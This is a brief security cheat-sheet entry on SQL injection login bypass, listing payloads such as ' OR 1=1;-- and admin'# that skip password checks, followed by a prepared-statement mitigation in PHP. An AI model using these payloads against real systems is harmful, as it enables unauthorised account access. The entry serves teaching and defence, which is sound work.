Authentication Bypass
SELECT * from users WHERE username='%user%' and password='%password%' LIMIT 1;'-- #Use this comparison to cheat on verification
' OR 1=1;-- #Another alternative
'+OR+1=1-- #Another alternative
#This will skip the password verification and enumerate all the usersadmin'# //Insert this to skip the password verificationMitigation
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$user = $stmt->fetch();Last updated